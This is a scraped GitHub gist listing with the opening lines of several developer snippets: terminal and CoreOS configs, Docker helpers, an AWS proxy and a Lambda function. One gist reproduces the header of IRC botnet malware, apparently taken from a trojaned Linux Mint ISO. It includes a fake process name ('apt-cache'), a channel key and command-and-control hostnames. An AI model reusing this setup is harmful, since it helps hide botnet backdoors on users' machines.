Skip to content

Instantly share code, notes, and snippets.

💭
🍕 breaking infrastructure

Christopher "Chief" Najewicz chiefy

💭
🍕 breaking infrastructure
Block or report user

Report or block chiefy

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@atsuya
atsuya / kitty.conf
Created Dec 30, 2017
Kitty - Solarized Dark
View kitty.conf
# vim:fileencoding=utf-8:ft=conf
# Font family. You can also specify different fonts for the
# bold/italic/bold-italic variants. By default they are derived automatically,
# by the OSes font system. Setting them manually is useful for font families
# that have many weight variants like Book, Medium, Thick, etc. For example:
# font_family Operator Mono Book
# bold_font Operator Mono Medium
# italic_font Operator Mono Book Italic
# bold_italic_font Operator Mono Medium Italic
@DrHayt
DrHayt / cloud-config.yml
Last active Feb 13, 2019
CoreOS Container Linux etcd3 cluster cloud-config with SSL on peer, server, and client configs.
View cloud-config.yml
#cloud-config
ssh_authorized_keys:
- ssh-rsa PutYourKeysHere
coreos:
locksmith:
endpoint: "https://127.0.0.1:2379"
etcd_cafile: /etc/ssl/certs/ca.pem
etcd_certfile: /etc/ssl/client/client.pem
etcd_keyfile: /etc/ssl/client/client.key
@kurobeats
kurobeats / man.cy
Created Feb 21, 2016
man.cy from malicious Linux Mint iso
View man.cy
#define STARTUP 1
#undef IDENT // Only enable this if you absolutely have to
#define FAKENAME "apt-cache" // What you want this to hide as
#define CHAN "#mint" // Channel to join
#define KEY "bleh" // The key of the channel
int numservers=5; // Must change this to equal number of servers down there
char *servers[] = {
"updates.absentvodka.com",
"updates.mintylinux.com",
"eggstrawdinarry.mylittlerepo.com",
@GottZ
GottZ / dps.sh
Last active Aug 5, 2019
/etc/profile.d/dps.sh
View dps.sh
# Docker PS prettifier
# revision 6
# https://gist.github.com/GottZ/4a6c2af314d73cd8b71d
dps() {
docker ps $@ --format "table{{ .Image }}\\t{{ .Names }}\\t{{ .Status }}\\t{{ .Ports }}" | awk '
NR % 2 == 0 {
printf "\033[0m";
}
NR % 2 == 1 {
View proxy.js
var AWS = require('aws-sdk');
var http = require('http');
var httpProxy = require('http-proxy');
var express = require('express');
var bodyParser = require('body-parser');
var stream = require('stream');
if (process.argv.length != 3) {
console.error('usage: aws-es-proxy <my-cluster-endpoint>');
process.exit(1);
@frodopwns
frodopwns / dps.py
Created Sep 22, 2015
pretty print docker ps commands
View dps.py
import re
import json
import sys
import os
from subprocess import Popen, PIPE
if __name__ == '__main__':
base_path = os.path.abspath(os.path.dirname(__file__))
args = sys.argv
@iammerrick
iammerrick / Question.md
Created Aug 14, 2015
Help me understand contexts!
View Question.md

Halp!!!

Something about calling createElement within the function not ahead of time makes the context of Provider work. Why?

@voxxit
voxxit / USING-VAULT.md
Last active Sep 2, 2019
Consul + Vault + MySQL = <3
View USING-VAULT.md
git clone https://gist.github.com/dd6f95398c1bdc9f1038.git vault
cd vault
docker-compose up -d
export VAULT_ADDR=http://192.168.99.100:8200

Initializing a vault:

vault init
View bling.js
/* bling.js */
window.$ = document.querySelectorAll.bind(document);
Node.prototype.on = window.on = function (name, fn) {
this.addEventListener(name, fn);
}
NodeList.prototype.__proto__ = Array.prototype;
@grvhi
grvhi / gist:fbda7c0afed03ae1ef8c
Created Feb 23, 2015
AWS Lambda Function to Trigger ElasticTranscoder Job on S3 Upload
View gist:fbda7c0afed03ae1ef8c
console.log('Checking newly uploaded file');
var AWS = require('aws-sdk');
var s3 = new AWS.S3({apiVersion: '2006-03-01'});
var eltr = new AWS.ElasticTranscoder({
apiVersion: '2012-09-25',
region: 'us-east-1'
});
// ID of pipeline
var pipelineId = 'myID';
// ID of ET's web output preset
You can’t perform that action at this time.